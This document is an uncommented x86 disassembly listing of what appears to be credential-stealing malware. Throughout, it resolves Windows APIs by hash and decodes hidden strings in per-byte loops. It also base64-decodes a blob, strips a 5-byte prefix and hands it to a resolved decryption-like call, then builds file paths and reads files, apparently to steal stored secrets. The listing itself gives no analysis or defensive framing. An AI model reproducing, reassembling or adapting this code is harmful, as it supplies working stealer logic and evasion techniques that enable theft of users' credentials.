mov dword [esp + 0x8c], 0
push 0x14e20a34
push dword [0x449eac]
call fcn.0043dd20
add esp, 8
lea ecx, [esp + 0x88]
lea edx, [esp + 0x90]
push ecx
push 1
push 0
push 0
push edx
push 0
push esi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445e38]
mov esi, dword [esp + 0x10]
jmp dword [0x445e40]
movzx eax, byte [edi]
test al, al
je 0x42706b
inc edi
mov byte [ebx], al
inc ebx
movzx eax, byte [edi]
inc edi
test al, al
jne 0x427060
mov word [ebx], 0x203a
mov eax, ebx
add eax, 2
mov esi, dword [esp + 0x88]
test esi, esi
je 0x4270ab
mov ecx, dword [esp + 0x8c]
mov edx, esi
and edx, 3
je 0x4270af
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x427090
add eax, edi
mov edx, esi
sub edx, edi
mov edi, eax
jmp 0x4270b1
mov edi, eax
jmp 0x4270f9
mov edx, esi
cmp esi, 4
jb 0x4270f9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea edi, [eax + 4]
mov byte [eax + 3], bl
mov eax, edi
add edx, 0xfffffffc
jne 0x4270c0
mov byte [edi], 0xa
inc edi
push 0xbe5098bb
push dword [0x449e94]
call fcn.0043dd20
add esp, 8
push dword [esp + 0x8c]
call eax
mov al, 1
mov dword [esp], eax
mov ebx, edi
mov esi, dword [esp + 0x10]
jmp dword [0x445e40]
push dword [esp + 0x84]
call fcn.0040ca20
add esp, 4
mov eax, dword [case.0x426e32.0]
nop
nop
jmp eax
int3
push eax
sub esp, 0x10
mov dword [ebp - 0x18], esp
sub esp, 0x18
mov dword [ebp - 0x14], esp
push eax
mov edx, esp
sub esp, 0x10
mov edi, esp
sub esp, 0x14
mov esi, esp
sub esp, 0x1c
mov ebx, esp
sub esp, 0x20
mov eax, esp
sub esp, 0x18
mov ecx, esp
jmp dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x20], esi
sub esp, 0x1c
mov dword [ebp - 0x44], esp
sub esp, 0xc
mov dword [ebp - 0x78], esp
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x98], ecx
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x28], esp
sub esp, 0x18
mov dword [ebp - 0x60], esp
sub esp, 8
mov dword [ebp - 0x84], esp
sub esp, 8
mov dword [ebp - 0x54], esp
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x80], ecx
sub esp, 0x34
mov ecx, esp
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x90], ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x38], ecx
sub esp, 8
mov dword [ebp - 0x8c], esp
mov eax, dword [ebp - 0x14]
mov dword [eax], 0x17571945
mov dword [eax + 4], 0x13821584
mov dword [eax + 8], 0xf6f116c
mov dword [eax + 0xc], 0xb6b0d80
mov dword [eax + 0x10], 0x7060955
mov ecx, eax
add ecx, 0x14
mov dword [ebp - 0x24], ecx
mov byte [eax + 0x14], 0
mov edx, 0xd7a8f06
mov ebx, 0x228570f9
mov esi, dword [ebp - 0x3c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, ebx
and edi, 0x22854086
mov ecx, edx
and ecx, 0xd7a0339
or ecx, edi
movzx edi, byte [eax + edx - 0xd7a8f06]
xor ecx, edi
mov edi, ecx
and edi, 0x25b03a0
xor edi, 0x5a0320
and ecx, 0x2da4405f
xor ecx, 0x20844c06
sub ecx, edi
add ecx, 0x7ef6b881
mov edi, ecx
and edi, 1
xor ecx, 1
lea ecx, [ecx + edi*2]
mov byte [eax + edx - 0xd7a8f06], cl
inc edx
dec ebx
cmp edx, 0xd7a8f1b
jne 0x427260
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, 5
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, edx
add edi, 0x14
xor ecx, ecx
mov eax, dword [ebp - 0x24]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edi, dword [ebp - 0x40]
push edi
push 0
push 0
push 9
push edx
push 0
call dword [0x449e9c]
mov edi, dword [edi]
test edi, edi
mov ebx, dword [ebp - 0x10]
jns 0x4272fa
mov eax, 0xffffffff
jmp 0x4272fd
lea eax, [edi + edi]
push eax
call fcn.0040ca10
add esp, 4
push dword [ebp - 0x40]
push edi
mov dword [ebp - 0x24], eax
push eax
push 9
push dword [ebp - 0x18]
push 0
call dword [0x449e9c]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xb7df89c4
mov dword [eax + 4], 0xb3ddb52b
mov dword [eax + 8], 0xbf20b123
mov dword [eax + 0xc], 0xbbbabdd0
add ebx, 0x10
mov dword [ebp - 0x10], ebx
mov word [eax + 0x10], 0
mov byte [eax + 0x12], 0
mov eax, 0x1e
mov ecx, 0x803397e1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 0x20]
movzx edx, byte [edx + eax - 0x1e]
mov edi, ecx
or edi, edx
not edx
or edx, eax
and edx, edi
lea ebx, [edx + edx]
not ebx
add ebx, edx
mov edx, dword [ebp - 0x20]
add bl, 0x6a
mov byte [edx + eax - 0x1e], bl
inc eax
dec ecx
cmp eax, 0x31
jne 0x427360
mov ecx, 4
mov eax, dword [ebp - 0x30]
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
add eax, 0x10
mov edi, eax
xor ecx, ecx
mov eax, dword [ebp - 0x10]
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov dword [esi], 0x812d8748
mov dword [esi + 4], 0x8d2f833d
mov dword [esi + 8], 0x893c8f3d
mov dword [esi + 0xc], 0x95478b24
mov dword [esi + 0x10], 0x91209737
mov dword [esi + 0x14], 0x9d209333
mov dword [esi + 0x18], 0x999e9f27
mov eax, esi
add eax, 0x1c
mov word [esi + 0x1c], 0
mov ecx, 0xbbef4ee1
mov ebx, dword [ebp - 0x2c]
nop
nop
nop
nop
movzx edx, byte [esi + ecx + 0x4410b11f]
mov edi, ecx
and edi, edx
add edi, edi
sub edx, edi
add edx, ecx
mov edi, edx
and edi, 0x1a
xor edx, 0x9a
lea edx, [edx + edi*2]
inc dl
mov byte [esi + ecx + 0x4410b11f], dl
inc ecx
cmp ecx, 0xbbef4eff
jne 0x4273f0
mov edi, ebx
mov ecx, 7
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
add ebx, 0x1c
mov edi, ebx
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov edx, dword [ebp - 0x44]
mov dword [edx], 0x33ab318c
mov dword [edx + 4], 0x2f8d2dbf
mov dword [edx + 8], 0x2bb829bf
mov dword [edx + 0xc], 0x279625b8
mov dword [edx + 0x10], 0x23e0218c
mov eax, edx
add eax, 0x14
mov word [edx + 0x14], 0x1d1c
mov dword [edx + 0x16], 0
mov word [edx + 0x1a], 0
mov ecx, 0x33
nop
nop
nop
movzx ebx, byte [edx]
lea esi, [ecx - 0x7c400200]
or esi, ebx
not esi
and ebx, ecx
or ebx, esi
mov esi, ebx
not esi
and esi, 0xfd
and ebx, 2
sub ebx, esi
inc bl
mov byte [edx], bl
inc edx
dec ecx
cmp ecx, 0x17
jne case.default.0x427526
mov ecx, 5
mov edx, dword [ebp - 0x1c]
mov edi, edx
mov esi, dword [ebp - 0x44]
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x14
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x58]
lea ecx, [eax + 0x1a]
mov dword [ebp - 0x94], ecx
mov ecx, dword [ebp - 0x50]
lea edx, [ecx + 0x10]
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0x24]
add edx, 2
mov dword [ebp - 0x74], edx
add eax, 2
mov dword [ebp - 0x58], eax
add ecx, 2
mov dword [ebp - 0x50], ecx
add dword [ebp - 0x70], 2
add dword [ebp - 0x6c], 2
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x5c], 0
cmp ecx, 0xc
setne al
xor ecx, ecx
mov ebx, dword [ebp - 0x28]
jmp dword [eax*4 + 0x445eb0]
mov esi, dword [ebp - 0x24]
jmp dword [0x445eb8]
jmp dword [0x445f84]
push esi
call fcn.0040ca20
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040ca20
add esp, 4
jmp dword [0x445f88]
mov eax, dword [ebp - 0x5c]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [ebp - 0x44]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x445eb0]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x44], ecx
mov edx, dword [eax + ecx]
mov eax, 0xfffffffe
mov ecx, dword [ebp - 0x40]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edx + eax + 2], 0
lea eax, [eax + 2]
jne 0x4275a0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x3c], eax
mov edx, eax
sar edx, 1
mov eax, dword [ecx]
lea ecx, [edx + eax]
mov dword [ebp - 0x2c], edx
add edx, eax
add edx, 0xd
lea eax, [ecx*2 + 0x1a]
test edx, edx
mov esi, dword [ebp - 0x98]
jns 0x4275d8
mov eax, 0xffffffff
push eax
call fcn.0040ca10
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x24]
movzx ecx, word [eax]
mov dword [ebp - 0x20], edx
mov eax, edx
test cx, cx
je 0x427611
mov edx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x20]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427600
mov word [eax], 0x5c
mov dword [esi], 0xe926eb38
mov dword [esi + 4], 0xed0bef19
mov dword [esi + 8], 0xf11ef30b
mov dword [esi + 0xc], 0xf523f7d0
mov dword [esi + 0x10], 0xf91dfb00
mov dword [esi + 0x14], 0xfd15ff0c
mov word [esi + 0x18], 0x83fc
mov ecx, dword [ebp - 0x94]
mov byte [ecx + 4], 0
mov dword [ecx], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x27
xor dl, byte [esi + ecx]
add dl, 0x3d
mov byte [esi + ecx], dl
inc ecx
cmp ecx, 0x1f
jne 0x427660
add eax, 2
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
test cx, cx
je 0x4276a1
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427690
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x4276e0
mov edx, dword [ebp - 0x58]
mov esi, dword [ebp - 0x34]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4276c0
jmp 0x4276e3
mov esi, dword [ebp - 0x34]
mov word [eax], 0
push 0x60
push 3
push 0x120089
push esi
push dword [ebp - 0x20]
call fcn.0043e760
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x445ec0]
push 0
push ebx
push dword [esi]
call fcn.0043ead0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x14], 0
jmp dword [eax*4 + 0x445ec8]
mov eax, dword [ebx]
mov dword [ebp - 0x14], eax
lea ebx, [eax + 1]
mov edi, dword [case.0x427526.12]
nop
nop
push ebx
call fcn.0040ca10
add esp, 4
jmp edi
mov esi, eax
push 0
push dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x34]
push dword [eax]
call fcn.0043eba0
add esp, 0x10
not eax
shr eax, 0x1f
xor ebx, ebx
mov edi, dword [ebp - 0x28]
jmp dword [eax*4 + 0x445ef0]
jmp dword [0x445efc]
mov eax, dword [edi]
mov byte [esi + eax], 0
push esi
call fcn.00403e40
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [edi]
mov byte [esi + eax], 0
push esi
call fcn.00403e40
add esp, 4
jmp dword [0x445f04]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x445f08]
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x64], eax
push eax
call fcn.00404790
add esp, 4
mov ecx, dword [ebp - 0x60]
mov dword [ecx], 0x70758287
mov dword [ecx + 4], 0x838e848e
mov dword [ecx + 8], 0x788c744e
mov dword [ecx + 0xc], 0x9b969c96
mov dword [ecx + 0x10], 0x68656d6d
mov dword [ecx + 0x14], 0xe9461
mov esi, 4
mov edx, 0x2ce1be7b
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x60]
movzx edi, byte [ecx + esi - 4]
lea ebx, [edx - 0x2ce1be00]
and ebx, 0x4e
mov ecx, esi
and ecx, 0x31
or ecx, ebx
mov ebx, edx
or ebx, edi
xor ecx, 0x31
and ecx, edi
mov edi, dword [ebp - 0x60]
not ebx
add ebx, ecx
mov ecx, ebx
and ecx, 0x6b
xor ebx, 0x6b
lea ecx, [ebx + ecx*2]
inc cl
mov byte [edi + esi - 4], cl
inc esi
dec edx
cmp esi, 0x1c
jne 0x427800
push edi
push eax
call fcn.004048d0
add esp, 8
mov ecx, 0xffffffff
mov edx, 0xfffffffe
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
add edx, 2
add esi, 3
cmp byte [eax + ecx + 1], 0
lea ecx, [ecx + 1]
jne 0x427860
shr esi, 2
mov dword [ebp - 0x10], ecx
movzx ecx, byte [eax + ecx - 1]
cmp ecx, 0x3d
je 0x427885
cmp ecx, 0x2e
jne 0x427886
dec esi
mov ecx, dword [ebp - 0x10]
xor ecx, 2
and edx, 0xfffffffa
sub edx, ecx
movzx ecx, byte [eax + edx]
cmp ecx, 0x3d
mov dword [ebp - 0x30], eax
je 0x4278a2
cmp ecx, 0x2e
jne 0x4278a3
dec esi
mov dword [ebp - 0x88], esi
lea eax, [esi + 1]
push eax
call fcn.0040ca10
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x10], 0
je 0x4279ad
xor esi, esi
mov edi, 2
jmp 0x4278e3
mov ecx, dword [ebp - 0x10]
lea eax, [edi + 4]
add edi, 2
cmp edi, ecx
mov edi, eax
jae 0x4279ad
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x30]
movzx eax, byte [esi + edi - 2]
push eax
call fcn.0041d490
add esp, 4
mov bh, al
movzx eax, byte [esi + edi - 1]
push eax
call fcn.0041d490
add esp, 4
mov bl, al
xor al, 0xc0
mov ecx, ebx
or cl, 0x30
and cl, al
shl bh, 2
shr cl, 4
add cl, bh
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
mov byte [eax + edx], cl
mov eax, edx
mov ecx, edx
and eax, 1
xor ecx, 1
lea esi, [ecx + eax*2]
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
jae 0x4278d3
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax + edi]
push eax
call fcn.0041d490
add esp, 4
cmp al, 0x40
je 0x4278d0
shl bl, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, bl
mov ebx, esi
inc esi
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
mov byte [edx + ebx], cl
lea ecx, [edi + 1]
mov edx, dword [ebp - 0x10]
cmp ecx, edx
jae 0x4279a6
mov ebx, eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax + edi + 1]
push eax
call fcn.0041d490
mov ecx, dword [ebp - 0x10]
add esp, 4
cmp al, 0x40
je 0x4278d3
shl bl, 6
add al, bl
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x14]
mov byte [ecx + esi + 1], al
mov ecx, dword [ebp - 0x10]
add esi, 2
jmp 0x4278d3
mov ecx, edx
jmp 0x4278d3
mov eax, dword [ebp - 0x88]
add eax, 0xfffffffb
mov edi, dword [ebp - 0x84]
mov dword [edi], eax
mov eax, dword [ebp - 0x1c]
add eax, 5
mov dword [edi + 4], eax
mov ebx, dword [ebp - 0x54]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x14e20a34
push dword [0x449eac]
call fcn.0043dd20
add esp, 8
push ebx
push 0
push 0
push 0
push 0
push 0
push edi
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445f10]
xor ebx, ebx
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp dword [0x445f20]
jmp dword [0x445f28]
mov eax, dword [ebp - 0x3c]
add eax, 0x10
cmp dword [ebp - 0x2c], 0xfffffff8
mov edi, dword [ebp - 0x80]
jge 0x427a2e
mov eax, 0xffffffff
push eax
call fcn.0040ca10
add esp, 4
mov esi, eax
mov dword [edi], 0xf35ef187
mov dword [edi + 4], 0xff88fd4c
mov dword [edi + 8], 0xfb42f944
mov dword [edi + 0xc], 0xc7c6c578
mov eax, dword [ebp - 0x7c]
mov word [eax], 0
mov byte [eax + 2], 0
mov eax, 0x54
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edi + eax - 0x54]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x5c
mov byte [edi + eax - 0x54], cl
inc eax
cmp eax, 0x67
jne 0x427a70
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x427ac1
mov eax, dword [ebp - 0x18]
lea edx, [eax + 2]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ab0
mov word [eax], 0
movzx ecx, word [edi]
test cx, cx
je 0x427af1
mov edx, dword [ebp - 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ae0
mov word [eax], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x54]
push dword [eax]
push dword [eax + 4]
push esi
call fcn.0040d2d0
mov ebx, eax
jmp dword [0x445f18]
push esi
call fcn.0040ca20
add esp, 4
push 0xbe5098bb
push dword [0x449e94]
call fcn.0043dd20
add esp, 8
mov ecx, dword [ebp - 0x54]
push dword [ecx + 4]
call eax
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp dword [0x445f20]
push dword [ebp - 0x1c]
call fcn.0040ca20
add esp, 4
jmp dword [0x445f28]
push edi
call fcn.00404a00
add esp, 4
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.00404a00
add esp, 4
jmp dword [0x445f30]
mov dword [ebp - 0x14], ebx
jmp dword [0x445f38]
push esi
call fcn.0040ca20
add esp, 4
mov esi, dword [ebp - 0x34]
jmp dword [0x445f40]
mov esi, dword [ebp - 0x34]
jmp dword [0x445f40]
push dword [ebp - 0x20]
call fcn.0040ca20
add esp, 4
jmp dword [esi*4 + 0x445f58]
mov ebx, dword [ebp - 0x28]
jmp dword [0x445f68]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov edx, dword [ebp - 0x2c]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x427bf0
mov eax, 0xffffffff
push eax
call fcn.0040ca10
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x24]
movzx ecx, word [eax]
mov edi, edx
mov eax, edx
test cx, cx
mov esi, dword [ebp - 0x90]
je 0x427c31
mov edx, dword [ebp - 0x74]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427c20
mov word [eax], 0x5c
mov dword [esi], 0x834e815c
mov dword [esi + 4], 0x8725852b
mov dword [esi + 8], 0x8b268929
mov dword [esi + 0xc], 0x8f5d8d6c
mov dword [esi + 0x10], 0x933d9124
mov dword [esi + 0x14], 0x97379526
mov dword [esi + 0x18], 0x9b3f993f
mov dword [esi + 0x1c], 0x9f329d40
mov dword [esi + 0x20], 0x63d461c5
mov dword [esi + 0x24], 0x67ca65c1
mov dword [esi + 0x28], 0x6bc869cc
mov word [esi + 0x2c], 0x6d6c
mov dword [esi + 0x2e], 0
mov ecx, 0x60
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esi + ecx - 0x60]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x20
mov byte [esi + ecx - 0x60], dl
inc ecx
cmp ecx, 0x92
jne 0x427ca0
add eax, 2
mov edx, dword [ebp - 0x18]
movzx ecx, word [edx]
test cx, cx
je 0x427cf1
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427ce0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x427d21
mov edx, dword [ebp - 0x70]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427d10
mov word [eax], 0
mov eax, dword [ebp - 0x3c]
add eax, 0x12
cmp dword [ebp - 0x2c], 0xfffffff7
jge 0x427d37
mov eax, 0xffffffff
push eax
call fcn.0040ca10
add esp, 4
mov ebx, eax
mov edx, dword [ebp - 0x38]
mov dword [edx], 0x49de4b9d
mov dword [edx + 4], 0x45cc47d3
mov dword [edx + 8], 0x41d643df
mov dword [edx + 0xc], 0x7de07fdc
mov word [edx + 0x10], 0x7b7c
mov dword [edx + 0x12], 0
mov eax, 0x93
mov ecx, 0x6c
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [edx + eax - 0x93]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0x21
mov esi, dword [ebp - 0x38]
mov byte [esi + eax - 0x93], dl
mov edx, dword [ebp - 0x38]
inc eax
dec ecx
cmp eax, 0xa9
jne 0x427d80
mov esi, dword [ebp - 0x18]
movzx ecx, word [esi]
mov eax, ebx
test cx, cx
je 0x427dd1
add esi, 2
mov eax, ebx
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x427dc0
mov word [eax], 0
movzx ecx, word [edx]
test cx, cx
je 0x427e01
mov edx, dword [ebp - 0x6c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x427df0
mov word [eax], 0
mov edx, dword [ebp - 0x8c]
mov dword [edx], 0x4f4e4996
mov dword [edx + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x92
xor cl, byte [edx + eax]
add cl, 0x26
mov byte [edx + eax], cl
inc eax
cmp eax, 8
jne 0x427e20
push 0
push 0
push 0xc00000
push edx
push edi
push ebx
push dword [ebp + 8]
call fcn.004205a0
add esp, 0x1c
mov ecx, dword [ebp - 0x5c]
and cl, 1
or cl, al
mov dword [ebp - 0x5c], ecx
jmp dword [0x445f60]
push ebx
call fcn.0040ca20
add esp, 4
mov ebx, dword [ebp - 0x28]
jmp dword [0x445f68]
jmp dword [0x445f70]
jmp dword [esi*4 + 0x445f58]
push edi
call fcn.0040ca20
add esp, 4
push edi
call fcn.0040ca20
add esp, 4
jmp dword [0x445f7c]
mov eax, dword [esi]
mov dword [ebp - 0x4c], 0x20272625
mov byte [ebp - 0x48], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x89
xor dl, byte [ebp + ecx - 0x4c]
add dl, 0x53
mov byte [ebp + ecx - 0x4c], dl
inc ecx
cmp ecx, 5
jne 0x427ec0
mov ecx, dword [0x449ea0]
test ecx, ecx
je case.0x4264d2.123
mov edx, dword [ebp - 0x4c]
xor edi, edi
mov ebx, dword [0x449ea4]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x427f00
inc edi
cmp ecx, edi
jne 0x427ef0
jmp case.0x4264d2.123
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
je case.0x4264d2.123
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
nop
nop
nop
nop
nop
nop
mov eax, dword [esi]
mov dword [ebp - 0x4c], 0x20272625
mov byte [ebp - 0x48], 0
xor ecx, ecx
nop
mov edx, ecx
add dl, 0x89
xor dl, byte [ebp + ecx - 0x4c]
add dl, 0x53
mov byte [ebp + ecx - 0x4c], dl
inc ecx
cmp ecx, 5
jne 0x427f30
mov ecx, dword [0x449ea0]
test ecx, ecx
je 0x427f80
mov edx, dword [ebp - 0x4c]
xor edi, edi
mov ebx, dword [0x449ea4]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xb62b8d10
je 0x427f70
inc edi
cmp ecx, edi
jne 0x427f60
jmp 0x427f80
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, edx
jne 0x427f93
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 0x28]
jmp dword [0x445f48]
movzx esi, byte [ebp - 0x14]
jmp dword [0x445f50]
push eax
push 1
push ecx
push dword [0x449ea8]
call fcn.0043b0a0
add esp, 0x10
mov ebx, dword [ebp - 0x28]
jmp dword [0x445f48]
int3
xor ebx, ebx
jmp dword [0x446058]
push dword [esp + 0x7c]
call fcn.0040ca20
add esp, 4
mov eax, ebx
add esp, 0xc8
pop esi
pop edi
pop ebx
pop ebp
ret
lea eax, [esp + 0x30]
push 0
push eax
push dword [esp + 0x28]
call fcn.0043ead0
add esp, 0xc
not eax
shr eax, 0x1f
xor ebx, ebx
mov dword [esp + 0xc], 0
jmp dword [eax*4 + 0x445f98]
mov esi, dword [esp + 0x30]
lea eax, [esi + 1]
push eax
call fcn.0040ca10
add esp, 4
push 0
push esi
mov dword [esp + 0x30], eax
push eax
push dword [esp + 0x2c]
call fcn.0043eba0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 0xc], 0
jmp dword [eax*4 + 0x445fa0]
jmp dword [0x446050]
push dword [esp + 0x28]
call fcn.0040ca20
add esp, 4
mov eax, dword [esp + 0x20]
mov dword [esp + 0x34], 0x20272625
mov byte [esp + 0x38], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add cl, 0x89
xor cl, byte [esp + ebx + 0x34]
add cl, 0x53
mov byte [esp + ebx + 0x34], cl
inc ebx
cmp ebx, 5
jne 0x4281c0
mov ecx, dword [0x449ea0]
test ecx, ecx
mov ebx, dword [esp + 0xc]
je 0x42820c
mov edx, dword [esp + 0x34]
xor esi, esi
mov edi, dword [0x449ea4]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x428200
inc esi
cmp ecx, esi
jne 0x4281f0
jmp 0x42820c
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x428711
and bl, 1
jmp dword [0x446058]
mov eax, dword [esp + 0x30]
mov esi, dword [esp + 0x28]
mov byte [esi + eax], 0
mov dword [esp + 0xc], 0
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x34], 0x206040e
mov dword [esp + 0x38], 0x61d081a
mov dword [esp + 0x3c], 0xf2d52f
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x34]
lea ecx, [eax - 0x2468ed59]
mov edi, 0x28ed58
sub edi, eax
and edi, 0x206917
and ecx, 0x83051288
or ecx, edi
xor ecx, edx
mov edx, ecx
xor edx, 0x74
and ecx, 0x83257b43
xor ecx, 0x58b269bf
and edx, ecx
add edx, ecx
inc dl
mov byte [esp + eax + 0x34], dl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
cmp eax, 0xc
jb 0x428250
movzx edx, byte [esp + 0x34]
test dl, dl
lea ebp, [esp + 0x34]
je 0x4282d2
mov eax, ebp
mov ecx, esi
jmp 0x4282b7
movzx edx, byte [eax]
test dl, dl
je 0x4282d2
mov dh, byte [ecx]
test dh, dh
